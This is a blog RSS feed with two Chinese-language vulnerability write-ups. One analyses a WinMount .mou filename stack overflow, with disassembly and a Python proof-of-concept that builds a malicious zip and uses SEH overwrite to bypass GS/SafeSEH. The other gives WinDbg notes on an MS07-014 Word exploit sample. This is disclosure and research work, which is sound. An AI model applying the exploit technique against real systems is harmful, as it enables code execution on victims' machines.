<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>SoftRCE.net &#187; 倚天屠龙（Vulnerability）</title>
	<atom:link href="http://www.softrce.net/archives/category/vulnerability/feed" rel="self" type="application/rss+xml" />
	<link>http://www.softrce.net</link>
	<description>Software Reverse Code Engineering</description>
	<lastBuildDate>Tue, 03 Aug 2010 10:06:18 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>WinMount mou文件格式溢出漏洞分析</title>
		<link>http://www.softrce.net/archives/302</link>
		<comments>http://www.softrce.net/archives/302#comments</comments>
		<pubDate>Wed, 21 Apr 2010 11:55:42 +0000</pubDate>
		<dc:creator>dge</dc:creator>
				<category><![CDATA[倚天屠龙（Vulnerability）]]></category>
		<category><![CDATA[漏洞分析]]></category>

		<guid isPermaLink="false">http://www.softrce.net/archives/302</guid>
		<description><![CDATA[前段时间发现的一个WinMount的漏洞并报给了WinMount，WinMount更新了，所以发布出来。

影响产品:WinMount 3.3.0401

WinMount在处理其mou私有格式的时候存在超长文件名溢出漏洞，并且可以绕过GS,SAFESEH... ]]></description>
			<content:encoded><![CDATA[<p>Author：dge</p>
<p>前段时间发现的一个WinMount的漏洞并报给了WinMount，WinMount更新了，所以发布出来。</p>
<p>影响产品:WinMount 3.3.0401</p>
<p>WinMount在处理其mou私有格式的时候存在超长文件名溢出漏洞，这个漏洞存在于7z.dll中，并且可以绕过GS,SAFESEH成功利用。</p>
<p>由于WinMount对mou格式的特殊处理机制导致这个漏洞并不需要通过欺骗点击的方式来触发，只要你在电脑里看到这个精心构造的恶意mou文件，就能触发这个漏洞。</p>
<p>分析：<br />
.text:100B5460 vul_            proc near               ; CODE XREF: sub_100B64B0+2EEp<br />
.text:100B5460<br />
.text:100B5460 var_214         = dword ptr -214h<br />
.text:100B5460 var_210         = dword ptr -210h<br />
.text:100B5460 buf_20c         = byte ptr -20Ch<br />
.text:100B5460 arg_0           = dword ptr  4<br />
.text:100B5460 arg_4           = dword ptr  8<br />
.text:100B5460 arg_8           = dword ptr  0Ch<br />
.text:100B5460 arg_C           = dword ptr  10h<br />
.text:100B5460 arg_10          = dword ptr  14h<br />
.text:100B5460 arg_14          = dword ptr  18h<br />
.text:100B5460 arg_18          = dword ptr  1Ch<br />
.text:100B5460<br />
.text:100B5460                 sub     esp, 214h<br />
.text:100B5466                 mov     eax, dword_10101D2C<br />
.text:100B546B                 xor     eax, esp<br />
.text:100B546D                 mov     dword ptr [esp+214h+buf_20c+208h], eax<br />
.text:100B5474                 mov     ecx, [esp+214h+arg_18]<br />
.text:100B547B                 mov     edx, [esp+214h+arg_4]<br />
.text:100B5482                 mov     eax, [esp+214h+arg_C]<br />
.text:100B5489                 push    ebx<br />
.text:100B548A                 push    ebp<br />
.text:100B548B                 mov     ebp, [esp+21Ch+arg_0]<br />
.text:100B5492                 push    esi<br />
.text:100B5493                 mov     esi, [esp+220h+arg_8]<br />
.text:100B549A                 push    edi<br />
.text:100B549B                 mov     [esp+224h+var_214], ecx<br />
.text:100B549F                 push    edx<br />
.text:100B54A0                 lea     ecx, [ebp+58h]<br />
.text:100B54A3                 mov     [esp+228h+var_210], eax<br />
.text:100B54A7                 call    sub_100B5260<br />
.text:100B54AC                 mov     edi, [eax]<br />
.text:100B54AE                 mov     byte ptr [esi+6Ch], 1<br />
.text:100B54B2                 mov     eax, [edi+26h]<br />
.text:100B54B5                 mov     [esi+20h], eax<br />
.text:100B54B8                 mov     eax, [edi+2Ah]<br />
.text:100B54BB                 xor     ebx, ebx<br />
.text:100B54BD                 cmp     eax, ebx<br />
.text:100B54BF                 jz      short loc_100B54D0<br />
.text:100B54C1                 cmp     eax, 0FFFFFFFFh<br />
.text:100B54C4                 jz      short loc_100B54D0<br />
.text:100B54C6                 mov     byte ptr [esi+6Bh], 1<br />
.text:100B54CA                 mov     ecx, [edi+2Ah]<br />
.text:100B54CD                 mov     [esi+24h], ecx<br />
.text:100B54D0<br />
.text:100B54D0 loc_100B54D0:                           ; CODE XREF: vul_vul+5Fj<br />
.text:100B54D0                                         ; vul_vul+64j<br />
.text:100B54D0                 cmp     [edi+0Eh], ebx<br />
.text:100B54D3                 ja      short loc_100B54DA<br />
.text:100B54D5                 cmp     [edi+0Ah], ebx<br />
.text:100B54D8                 jbe     short loc_100B54DE<br />
.text:100B54DA<br />
.text:100B54DA loc_100B54DA:                           ; CODE XREF: vul_vul+73j<br />
.text:100B54DA                 mov     al, 1<br />
.text:100B54DC                 jmp     short loc_100B54E0<br />
.text:100B54DE ; &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
.text:100B54DE<br />
.text:100B54DE loc_100B54DE:                           ; CODE XREF: vul_vul+78j<br />
.text:100B54DE                 xor     al, al<br />
.text:100B54E0<br />
.text:100B54E0 loc_100B54E0:                           ; CODE XREF: vul_vul+7Cj<br />
.text:100B54E0                 test    byte ptr [esi+20h], 10h<br />
.text:100B54E4                 mov     [esi+68h], al<br />
.text:100B54E7                 setnbe  dl<br />
.text:100B54EA                 mov     [esi+69h], dl<br />
.text:100B54ED                 mov     [esi+6Ah], bl<br />
.text:100B54F0                 mov     eax, [edi+1Ah]<br />
.text:100B54F3                 mov     ecx, [edi+1Eh]<br />
.text:100B54F6                 mov     edx, eax<br />
.text:100B54F8                 or      edx, ecx<br />
.text:100B54FA                 jz      short loc_100B5512<br />
.text:100B54FC                 add     eax, [esp+224h+arg_10]<br />
.text:100B5503                 adc     ecx, [esp+224h+arg_14]<br />
.text:100B550A                 mov     [esi+60h], eax<br />
.text:100B550D                 mov     [esi+64h], ecx<br />
.text:100B5510                 jmp     short loc_100B5518<br />
.text:100B5512 ; &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
.text:100B5512<br />
.text:100B5512 loc_100B5512:                           ; CODE XREF: vul_vul+9Aj<br />
.text:100B5512                 mov     [esi+60h], ebx<br />
.text:100B5515                 mov     [esi+64h], ebx<br />
.text:100B5518<br />
.text:100B5518 loc_100B5518:                           ; CODE XREF: vul_vul+B0j<br />
.text:100B5518                 push    206h            ; size_t<br />
.text:100B551D                 lea     ecx, [esp+228h+buf_20c+2]<br />
.text:100B5521                 xor     eax, eax<br />
.text:100B5523                 push    ebx             ; int<br />
.text:100B5524                 push    ecx             ; void *<br />
.text:100B5525                 mov     word ptr [esp+230h+buf_20c], ax<br />
.text:100B552A                 call    _memset<br />
.text:100B552F                 add     esp, 0Ch<br />
.text:100B5532                 push    edi             ; int<br />
.text:100B5533                 lea     edx, [esp+228h+buf_20c]<br />
.text:100B5537                 push    edx             ; dst_string<br />
.text:100B5538                 push    ebp             ; int<br />
.text:100B5539                 call    sub_100B3F90    ;</p>
<p>跟进去</p>
<p>.text:100B3F90 ; int __stdcall sub_100B3F90(int, LPWSTR dst_string, int)<br />
.text:100B3F90 sub_100B3F90    proc near               ; CODE XREF: sub_100B3F90+25p<br />
.text:100B3F90                                         ; vul_vul+D9p<br />
.text:100B3F90<br />
.text:100B3F90 arg_0           = dword ptr  4<br />
.text:100B3F90 dst_string      = dword ptr  8<br />
.text:100B3F90 arg_8           = dword ptr  0Ch<br />
.text:100B3F90<br />
.text:100B3F90                 push    ebx<br />
.text:100B3F91                 mov     ebx, [esp+4+arg_8]<br />
.text:100B3F95                 mov     eax, [ebx+5Ch]<br />
.text:100B3F98                 push    esi<br />
.text:100B3F99                 mov     esi, [esp+8+dst_string]<br />
.text:100B3F9D                 push    edi<br />
.text:100B3F9E                 mov     edi, ds:lstrcatW<br />
.text:100B3FA4                 test    eax, eax<br />
.text:100B3FA6                 jz      short loc_100B3FC2<br />
.text:100B3FA8                 cmp     dword ptr [eax+56h], 0FFFFFFFFh<br />
.text:100B3FAC                 jz      short loc_100B3FC2<br />
.text:100B3FAE                 push    eax             ; int<br />
.text:100B3FAF                 mov     eax, [esp+10h+arg_0]<br />
.text:100B3FB3                 push    esi             ; dst_string<br />
.text:100B3FB4                 push    eax             ; int<br />
.text:100B3FB5                 call    sub_100B3F90<br />
.text:100B3FBA                 push    offset String2  ; &#8220;\\&#8221;<br />
.text:100B3FBF                 push    esi             ; lpString1<br />
.text:100B3FC0                 call    edi ; lstrcatW<br />
.text:100B3FC2<br />
.text:100B3FC2 loc_100B3FC2:                           ; CODE XREF: sub_100B3F90+16j<br />
.text:100B3FC2                                         ; sub_100B3F90+1Cj<br />
.text:100B3FC2                 mov     ecx, [ebx+52h]<br />
.text:100B3FC5                 push    ecx             ; lpString2<br />
.text:100B3FC6                 push    esi             ; lpString1<br />
.text:100B3FC7                 call    edi ; lstrcatW  ; 溢出<br />
.text:100B3FC9                 pop     edi<br />
.text:100B3FCA                 pop     esi<br />
.text:100B3FCB                 pop     ebx<br />
.text:100B3FCC                 retn    0Ch<br />
.text:100B3FCC sub_100B3F90    endp</p>
<p>接下来会继续调用下边这个函数</p>
<p>.text:100209C0 access_         proc near               ; CODE XREF: sub_10020AE0+6Cp<br />
.text:100209C0                                         ; sub_10021060+105p &#8230;<br />
.text:100209C0<br />
.text:100209C0 p_string        = dword ptr  4<br />
.text:100209C0<br />
.text:100209C0                 push    ebx<br />
.text:100209C1                 mov     ebx, ecx<br />
.text:100209C3                 mov     eax, [ebx]<br />
.text:100209C5                 push    esi<br />
.text:100209C6                 xor     ecx, ecx<br />
.text:100209C8                 push    edi<br />
.text:100209C9                 mov     edi, [esp+0Ch+p_string]<br />
.text:100209CD                 mov     dword ptr [ebx+4], 0<br />
.text:100209D4                 mov     [eax], cx<br />
.text:100209D7                 xor     esi, esi<br />
.text:100209D9                 cmp     [edi], cx<br />
.text:100209DC                 jz      short loc_100209E7<br />
.text:100209DE                 mov     edi, edi<br />
.text:100209E0<br />
.text:100209E0 loc_100209E0:                           ; CODE XREF: access_+25j<br />
.text:100209E0                 inc     esi<br />
.text:100209E1                 cmp     [edi+esi*2], cx ; 可以制造出内存读异常&#8212;&gt;绕过GS<br />
.text:100209E5                 jnz     short loc_100209E0<br />
.text:100209E7<br />
.text:100209E7 loc_100209E7:                           ; CODE XREF: access_+1Cj<br />
.text:100209E7                 push    esi<br />
.text:100209E8                 mov     ecx, ebx<br />
.text:100209EA                 call    sub_10002F90<br />
.text:100209EF                 mov     ecx, [ebx]<br />
.text:100209F1                 mov     edx, edi<br />
.text:100209F3<br />
.text:100209F3 loc_100209F3:                           ; CODE XREF: access_+42j<br />
.text:100209F3                 movzx   eax, word ptr [edx]<br />
.text:100209F6                 mov     [ecx], ax<br />
.text:100209F9                 add     ecx, 2<br />
.text:100209FC                 add     edx, 2<br />
.text:100209FF                 test    ax, ax<br />
.text:10020A02                 jnz     short loc_100209F3<br />
.text:10020A04                 pop     edi<br />
.text:10020A05                 mov     [ebx+4], esi<br />
.text:10020A08                 pop     esi<br />
.text:10020A09                 mov     eax, ebx<br />
.text:10020A0B                 pop     ebx<br />
.text:10020A0C                 retn    4<br />
.text:10020A0C access_         endp</p>
<p>POC:</p>
<p>用这个脚本产生test.zip，再借助WinMount生成test.mou文件。</p>
<p>import os</p>
<p>sploitfile=&#8221;test.zip&#8221;<br />
ldf_header =(&#8216;\x50\x4B\x03\x04\x14\x00\x00&#8242;<br />
&#8216;\x00\x08\x00\xB7\xAC\xCE\x34\x00\x00\x00&#8242;<br />
&#8216;\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00&#8242;<br />
&#8216;\xd0\xff&#8217;<br />
&#8216;\x00\x00\x00&#8242;)<br />
cdf_header = (&#8220;\x50\x4B\x01\x02\x14\x00\x14&#8243;<br />
&#8220;\x00\x00\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00&#8243;<br />
&#8220;\x00\x00\x00\x00\x00\x00\x00\x00\x00&#8243;<br />
&#8220;\xd0\xff&#8221;<br />
&#8220;\x00\x00\x00\x00\x00\x00\x01\x00&#8243;<br />
&#8220;\x24\x00\x00\x00\x00\x00\x00\x00&#8243;)<br />
eofcdf_header = (&#8220;\x50\x4B\x05\x06\x00\x00\x00&#8243;<br />
&#8220;\x00\x01\x00\x01\x00&#8243;<br />
&#8220;\xfe\xff\x00\x00&#8243;<br />
&#8220;\xee\xff\x00\x00&#8243;<br />
&#8220;\x00\x00&#8243;)<br />
print &#8221;[+] Preparing payload\n&#8221;<br />
size=65484<br />
junk=&#8217;A'*420<br />
nseh=&#8217;\x89\x8a\x8b\x8c&#8217;<br />
seh=&#8217;\x84\x5b\xac\x8d&#8217;<br />
junk_=&#8217;A'*33<br />
jumpto=&#8217;\x05\x12\x11\x46\x2d\x11\x11\x46\x50\x46\xac\xe4&#8242;#make eax point to shellcode and jump to shellcode<br />
shellcode=(&#8220;the shellcode here will be changed into unicode&#8221;)#encode by alpha2<br />
junk__=&#8217;B'*80<br />
last=&#8217;C'*(size-420-len(nseh+seh+junk_+jumpto+junk__+shellcode))<br />
payload=junk+nseh+seh+junk_+jumpto+junk__+shellcode+last+&#8221;.wav&#8221;<br />
evilzip = ldf_header+payload+cdf_header+payload+eofcdf_header<br />
print &#8221;[+] Removing old zip file\n&#8221;<br />
os.system(&#8220;del &#8221;+sploitfile)<br />
print &#8221;[+] Writing payload to file\n&#8221;<br />
fobj=open(sploitfile,&#8221;w&#8221;,0)<br />
fobj.write(evilzip)<br />
print &#8221;generate zip file &#8221;+(sploitfile)<br />
fobj.close()<br />
print &#8217;[+] Wrote %d bytes to file sploitfile\n&#8217;%(len(evilzip))<br />
print &#8221;[+] Payload length :%d \n&#8221;%(len(payload))</p>
<p>EOF</p>
<hr /><h2>Comments</h2><ul><li><a href="http://www.softrce.net/archives/302#comment-160">2010年05月1日</a>, Cyg07 writes: nx~顶了</li></ul><hr /><small>Copyright &copy; 2008<br /> This feed is for personal, non-commercial use only. <br /> The use of this feed on other websites breaches copyright. If this content is not in your news reader, it makes the page you are viewing an infringement of the copyright. (Digital Fingerprint:<br /> 8e761b2ea8edc3ca311452b020051837)</small><h3  class="related_post_title">相关阅读</h3><ul class="related_post"><li>2009年05月1日 -- <a href="http://www.softrce.net/archives/100" title="暴风影音2009(Config.dll)ActiveX远程栈溢出漏洞">暴风影音2009(Config.dll)ActiveX远程栈溢出漏洞</a></li><li>2009年05月1日 -- <a href="http://www.softrce.net/archives/96" title="暴风影音2009(mps.dll)ActiveX远程栈溢出漏洞">暴风影音2009(mps.dll)ActiveX远程栈溢出漏洞</a></li><li>2009年04月30日 -- <a href="http://www.softrce.net/archives/83" title="中国游戏中心游戏大厅ActiveX远程栈溢出漏洞">中国游戏中心游戏大厅ActiveX远程栈溢出漏洞</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.softrce.net/archives/302/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>MS07-014调试手记</title>
		<link>http://www.softrce.net/archives/213</link>
		<comments>http://www.softrce.net/archives/213#comments</comments>
		<pubDate>Tue, 12 Jan 2010 11:56:42 +0000</pubDate>
		<dc:creator>Cyg07</dc:creator>
				<category><![CDATA[倚天屠龙（Vulnerability）]]></category>

		<guid isPermaLink="false">http://www.softrce.net/?p=213</guid>
		<description><![CDATA[前面: 该文是去年某月份写的，今日需要写 shellcode 再重看此文(想想好像没在大萝卜的地盘发帖过)，所以&#8230; 望路过的朋友指点下关于double free的问题，thx! 分析过程: 1、异常后的栈回溯 ///////... ]]></description>
			<content:encoded><![CDATA[<p>前面:</p>
<p>该文是去年某月份写的，今日需要写 shellcode 再重看此文(想想好像没在大萝卜的地盘发帖过)，所以&#8230;<br />
望路过的朋友指点下关于double free的问题，thx!</p>
<p>分析过程:</p>
<p>1、异常后的栈回溯<span id="more-213"></span><br />
///////////////////////////////////////////////////////////////////////////////////////////////<br />
0:000&gt; ub<br />
&lt;Unloaded_ta.dll&gt;+0xba898a:<br />
00ba898b 0000            add     byte ptr [eax],al<br />
00ba898d 13d6            adc     edx,esi<br />
00ba898f 3083c7415764    xor     byte ptr [ebx+645741C7h],al<br />
00ba8995 ff30            push    dword ptr [eax]<br />
00ba8997 648920          mov     dword ptr fs:[eax],esp                 // 添加shellcode 的异常处理<br />
00ba899a ba3243313a      mov     edx,offset &lt;Unloaded_ta.dll&gt;+0x3a314331 (3a314332)<br />
00ba899f 81c214131211    add     edx,offset &lt;Unloaded_ta.dll&gt;+0&#215;11121313 (11121314)<br />
00ba89a5 bf00001400      mov     edi,offset &lt;Unloaded_ta.dll&gt;+0x13ffff (00140000)<br />
0:000&gt; u<br />
&lt;Unloaded_ta.dll&gt;+0xba89a9:<br />
00ba89aa 3b17            cmp     edx,dword ptr [edi]                    // 异常位置<br />
00ba89ac 7403            je      &lt;Unloaded_ta.dll&gt;+0xba89b0 (00ba89b1)<br />
00ba89ae 47              inc     edi<br />
00ba89af ebf9            jmp     &lt;Unloaded_ta.dll&gt;+0xba89a9 (00ba89aa)<br />
00ba89b1 83c704          add     edi,4<br />
00ba89b4 67648f060000    pop     dword ptr fs:[0000h]<br />
00ba89ba 57              push    edi<br />
00ba89bb c3              ret<br />
///////////////////////////////////////////////////////////////////////////////////////////////</p>
<p>异常时的状态<br />
///////////////////////////////////////////////////////////////////////////////////////////////<br />
First chance exceptions are reported before any exception handling.<br />
This exception may be expected and handled.<br />
eax=00000000 ebx=00142b00 ecx=00000000 edx=4b435646 esi=00000000 edi=00feeffd<br />
eip=00ba89aa esp=0011aca4 ebp=6c030a01 iopl=0         nv up ei pl nz na po cy<br />
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010203<br />
&lt;Unloaded_ta.dll&gt;+0xba89a9:<br />
00ba89aa 3b17            cmp     edx,dword ptr [edi]  ds:0023:00feeffd=00000000</p>
<p>注意到寄存器已经被覆盖<br />
edx=4b435646<br />
ebp=6c030a01</p>
<p>我们再回头看看SEH的回调处理是如何的?</p>
<p>00ba8995 ff30            push    dword ptr [eax]<br />
00ba8997 648920          mov     dword ptr fs:[eax],esp                 // 添加shellcode 的异常处理</p>
<p>0:000&gt; dd poi(fs:0) l2<br />
0011aca4  0012f904 00ba896d</p>
<p>这里已经是shellcode了,异常是shellcode搞得鬼。<br />
///////////////////////////////////////////////////////////////////////////////////////////////</p>
<p>2、栈回溯问题<br />
显然我们这时候用k命令进行回溯已经是错误的了<br />
///////////////////////////////////////////////////////////////////////////////////////////////<br />
0:000&gt; k<br />
ChildEBP RetAddr<br />
WARNING: Frame IP not in any known module. Following frames may be wrong.<br />
0011ace8 30d60800 &lt;Unloaded_ta.dll&gt;+0xba89a9<br />
0011acec 00000000 mso!Ordinal2171+0x2ab<br />
///////////////////////////////////////////////////////////////////////////////////////////////<br />
手工回溯栈<br />
///////////////////////////////////////////////////////////////////////////////////////////////<br />
0:000&gt; !teb<br />
TEB at 7ffdd000<br />
ExceptionList:        0011aca4<br />
StackBase:            00130000              // 基地址<br />
StackLimit:           0011a000              // 边界<br />
SubSystemTib:         00000000<br />
FiberData:            00001e00<br />
ArbitraryUserPointer: 00000000<br />
Self:                 7ffdd000<br />
EnvironmentPointer:   00000000<br />
ClientId:             000006a4 . 00000fe0<br />
RpcHandle:            00000000<br />
Tls Storage:          00142ad0<br />
PEB Address:          7ffde000<br />
LastErrorValue:       0<br />
LastStatusValue:      c0000034<br />
Count Owned Locks:    0<br />
HardErrorMode:        0<br />
///////////////////////////////////////////////////////////////////////////////////////////////</p>
<p>栈是从基地址往低地址生长的,我从0011a000这个边界往回找<br />
///////////////////////////////////////////////////////////////////////////////////////////////<br />
0:000&gt; dds 0011a000 0011a000+1000<br />
0011a000  00000000<br />
0011a004  00000000<br />
0011a008  00000000<br />
0011a00c  00000000<br />
0011a010  00000000<br />
0011a014  00000000<br />
0011a018  00000000<br />
0011a01c  00000000<br />
&#8230;                                                             // 往下是异常处理<br />
0011a87c  7c930833 ntdll!RtlpImageNtHeader+0&#215;56<br />
0011a880  00ba896d &lt;Unloaded_ta.dll&gt;+0xba896c<br />
0011a884  7c920000 ntdll!RtlDosPathSeperatorsString &lt;PERF&gt; (ntdll+0&#215;0)<br />
0011a888  0011ac00 &lt;Unloaded_ta.dll&gt;+0x11abff<br />
0011a88c  7c9200e0 ntdll!RtlDosPathSeperatorsString &lt;PERF&gt; (ntdll+0xe0)<br />
0011a890  0011a880 &lt;Unloaded_ta.dll&gt;+0x11a87f<br />
&#8230;<br />
0011a9a8  7c92eafa ntdll!KiUserExceptionDispatcher+0xe<br />
0011a9ac  7c92d625 ntdll!NtContinue+0xc<br />
0011a9b0  7c92eb08 ntdll!KiUserExceptionDispatcher+0x1c<br />
0011a9b4  0011a9d8 &lt;Unloaded_ta.dll&gt;+0x11a9d7<br />
0011a9b8  00000000<br />
0011a9bc  c0000005<br />
&#8230;<br />
0011ace0  00000000<br />
0011ace4  ebc03300<br />
0011ace8  0000003a &lt;Unloaded_ta.dll&gt;+0&#215;39<br />
0011acec  30d60800 mso!Ordinal2171+0x2ab            // 这里就 kb 命令能回溯到的地方,出问题的就在下一个吧<br />
0011acf0  00000000<br />
0011acf4  00000000<br />
0011acf8  00000000<br />
0011acfc  00000000<br />
&#8230;<br />
0011afac  00000000<br />
0011afb0  00000000<br />
0011afb4  0011aff0 &lt;Unloaded_ta.dll&gt;+0x11afef<br />
0011afb8  300316e8 winword+0x316e8                  // 这个就是出问题的函数了<br />
0011afbc  0011aff0 &lt;Unloaded_ta.dll&gt;+0x11afef<br />
0011afc0  30cb099d mso!MsoReleaseMemCore+0x1e       // 注意到这个 内存 释放函数<br />
0011afc4  00000003 &lt;Unloaded_ta.dll&gt;+0&#215;2<br />
0011afc8  00000001 &lt;Unloaded_ta.dll&gt;<br />
0011afcc  00000000<br />
///////////////////////////////////////////////////////////////////////////////////////////////</p>
<p>3、问题函数</p>
<p>我们回头看看 winword+0x316e8 这个函数<br />
///////////////////////////////////////////////////////////////////////////////////////////////<br />
0:000&gt; uf winword+0x316e8<br />
winword+0x316e8:<br />
300316e8 85db            test    ebx,ebx<br />
300316ea 8bf0            mov     esi,eax<br />
300316ec 5f              pop     edi<br />
300316ed 0f84d3eb0100    je      winword+0x502c6 (300502c6)</p>
<p>winword+0x316f3:<br />
300316f3 ff75fc          push    dword ptr [ebp-4]<br />
300316f6 ff157c20a730    call    dword ptr [winword!wdGetApplicationObject+0x2817a0 (30a7207c)] // 跟的时候这里就是 mso!MsoReleaseMemCore</p>
<p>winword+0x316fc:<br />
300316fc 5b              pop     ebx<br />
300316fd 8bc6            mov     eax,esi<br />
300316ff 5e              pop     esi<br />
30031700 c9              leave<br />
30031701 c21400          ret     14h</p>
<p>winword+0x502c6:<br />
300502c6 837dfc00        cmp     dword ptr [ebp-4],0<br />
300502ca 0f842c14feff    je      winword+0x316fc (300316fc)</p>
<p>winword+0x502d0:<br />
300502d0 e9f32e3200      jmp     winword!wdCommandDispatch+0x9350f (303731c8)</p>
<p>winword!wdCommandDispatch+0x9350f:<br />
303731c8 ff75fc          push    dword ptr [ebp-4]<br />
303731cb ff150c20a730    call    dword ptr [winword!wdGetApplicationObject+0x281730 (30a7200c)]<br />
303731d1 e926e5cbff      jmp     winword+0x316fc (300316fc)<br />
///////////////////////////////////////////////////////////////////////////////////////////////<br />
既然有释放也必然有 alloc<br />
///////////////////////////////////////////////////////////////////////////////////////////////<br />
0:000&gt; x mso!Mso*MemCore<br />
30cafa50 mso!MsoFAllocMemCore (&lt;no parameter info&gt;)<br />
30cafccb mso!MsoFMarkMemCore (&lt;no parameter info&gt;)<br />
30cb097f mso!MsoReleaseMemCore (&lt;no parameter info&gt;)<br />
///////////////////////////////////////////////////////////////////////////////////////////////</p>
<p>显然这是个堆溢出,用IDA看了下<br />
///////////////////////////////////////////////////////////////////////////////////////////////<br />
int __stdcall sub_30031687(void *a1, int a2, int a3, int a4, int a5)<br />
{<br />
int v5; // ebx@2<br />
int v6; // esi@4<br />
int v8; // eax@2<br />
int v9; // [sp+10h] [bp-4h]@2<br />
int v10; // [sp+4h] [bp-10h]@4<br />
int v11; // [sp+Ch] [bp-8h]@4<br />
unsigned int v12; // [sp+8h] [bp-Ch]@4</p>
<p>if ( (unsigned int)a3 &lt;= 0xA8C )<br />
{<br />
v6 = sub_30050378(a1, a2, a3, a4, a5);<br />
}<br />
else<br />
{<br />
v8 = MsoFMarkMemCore(&amp;v9, 0x3FA3u);<br />
v5 = v8;<br />
if ( !v8 )<br />
v9 = MsoPvAllocCore(0x3FA3u, 2);<br />
if ( v9 )<br />
{<br />
v10 = 0;<br />
v11 = v9;<br />
v12 = 0x3FA3u;<br />
v6 = sub_30031704(a1, a2, a3, a4, a5, (int)&amp;v10);<br />
if ( v5 )<br />
{<br />
MsoReleaseMemCore(v9);<br />
}<br />
else<br />
{<br />
if ( v9 )<br />
MsoFreePv(v9);<br />
}<br />
}<br />
else<br />
{<br />
v6 = sub_308FE25F(a1, a2, a3, a4, a5);<br />
}<br />
}<br />
return v6;<br />
}<br />
///////////////////////////////////////////////////////////////////////////////////////////////</p>
<p>在最后EBP被覆盖前,有Double Free的现象<br />
///////////////////////////////////////////////////////////////////////////////////////////////<br />
0:000&gt; kb<br />
ChildEBP RetAddr  Args to Child<br />
WARNING: Stack unwind information not available. Following frames may be wrong.<br />
0012bc84 30038e74 00b80418 08b3b9f4 00000000 mso!MsoReleaseMemCore<br />
0012c0cc 3006df62 08b3b9f4 00000117 00000000 winword+0x38e74<br />
0012c100 3006deb0 00000117 000c0838 0012c128 winword+0x6df62<br />
0012c138 3006db3f 00b80398 00b80398 0cea08ca winword+0x6deb0<br />
0012c170 30071151 00000001 00b80398 0cea08ca winword+0x6db3f<br />
0012c228 30073769 00b80398 00000000 00000000 winword+0&#215;71151<br />
0012c2b8 3007250e 00b80398 0cea07e8 08b388dc winword+0&#215;73769<br />
0012c2e0 3006a9a0 00b80398 08b388dc 00000008 winword+0x7250e<br />
0012c520 30067b12 08b3b060 08b388dc 00000800 winword+0x6a9a0<br />
0012c640 7c80ac78 30c90000 00000000 30c90000 winword+0x67b12<br />
0012c6bc 7c80ac66 0012c6e4 7c80ac78 30c90000 kernel32!GetProcAddress+0x5b<br />
0012c6e4 0012c6d4 30c90000 0012f904 315ddcb7 kernel32!GetProcAddress+0&#215;43<br />
0012c6fc 31444fc6 31444ff3 00b80174 314450a8 &lt;Unloaded_ta.dll&gt;+0x12c6d3<br />
0012c700 31444ff3 00b80174 314450a8 00b95de8 mso!Ordinal3198+0x5f<br />
0012c708 314450a8 00b95de8 000000d8 300d4250 mso!Ordinal2669+0x1f<br />
0012c724 305d3ca5 00000001 000000d8 000000c8 mso!Ordinal2402+0&#215;13<br />
0012c73c 305d410b 00000000 00000003 00b80174 winword!wdCommandDispatch+0x2f3fec<br />
0012c764 305db543 305db54a 0012c798 00000000 winword!wdCommandDispatch+0x2f4452<br />
0012c7d8 3003ce45 3003ce53 08b3809c 08b37c7c winword!wdCommandDispatch+0x2fb88a<br />
00000000 00000000 00000000 00000000 00000000 winword+0x3ce45<br />
0:000&gt; g<br />
Breakpoint 1 hit<br />
eax=00000001 ebx=08b3b9f4 ecx=0012bc58 edx=7c92eb94 esi=00000000 edi=0012beb4<br />
eip=30cb097f esp=0012bc80 ebp=0012bd98 iopl=0         nv up ei pl nz na pe nc<br />
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206<br />
mso!MsoReleaseMemCore:<br />
30cb097f 57              push    edi<br />
0:000&gt; kb<br />
ChildEBP RetAddr  Args to Child<br />
WARNING: Stack unwind information not available. Following frames may be wrong.<br />
0012bd98 00000000 0012f904 00000002 0e19ab00 mso!MsoReleaseMemCore<br />
0:000&gt; g<br />
Breakpoint 1 hit<br />
eax=00000001 ebx=00000000 ecx=08b3bad4 edx=7c92eb94 esi=00000001 edi=08b3bad4<br />
eip=30cb097f esp=0012bc6c ebp=0012bc80 iopl=0         nv up ei pl nz na pe nc<br />
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206<br />
mso!MsoReleaseMemCore:<br />
30cb097f 57              push    edi<br />
0:000&gt; kb<br />
ChildEBP RetAddr  Args to Child<br />
WARNING: Stack unwind information not available. Following frames may be wrong.<br />
0012bc80 30038e74 00b80418 08b3bad4 00000000 mso!MsoReleaseMemCore<br />
0012c0c8 3006df62 08b3bad4 00000116 00000000 winword+0x38e74<br />
0012c0fc 3006e74c 00000116 000c0838 0012c128 winword+0x6df62<br />
0012c138 3006e701 00b80398 00b80398 0cea08ca winword+0x6e74c<br />
0012c170 30071151 00000001 00b80398 0cea08ca winword+0x6e701<br />
0012c228 30073769 00b80398 00000000 00000000 winword+0&#215;71151<br />
0012c2b8 3007250e 00b80398 0cea07e8 08b388dc winword+0&#215;73769<br />
0012c2e0 3006a9a0 00b80398 08b388dc 00000008 winword+0x7250e<br />
0012c520 30067b12 08b3b060 08b388dc 00000800 winword+0x6a9a0<br />
0012c640 7c80ac78 30c90000 00000000 30c90000 winword+0x67b12<br />
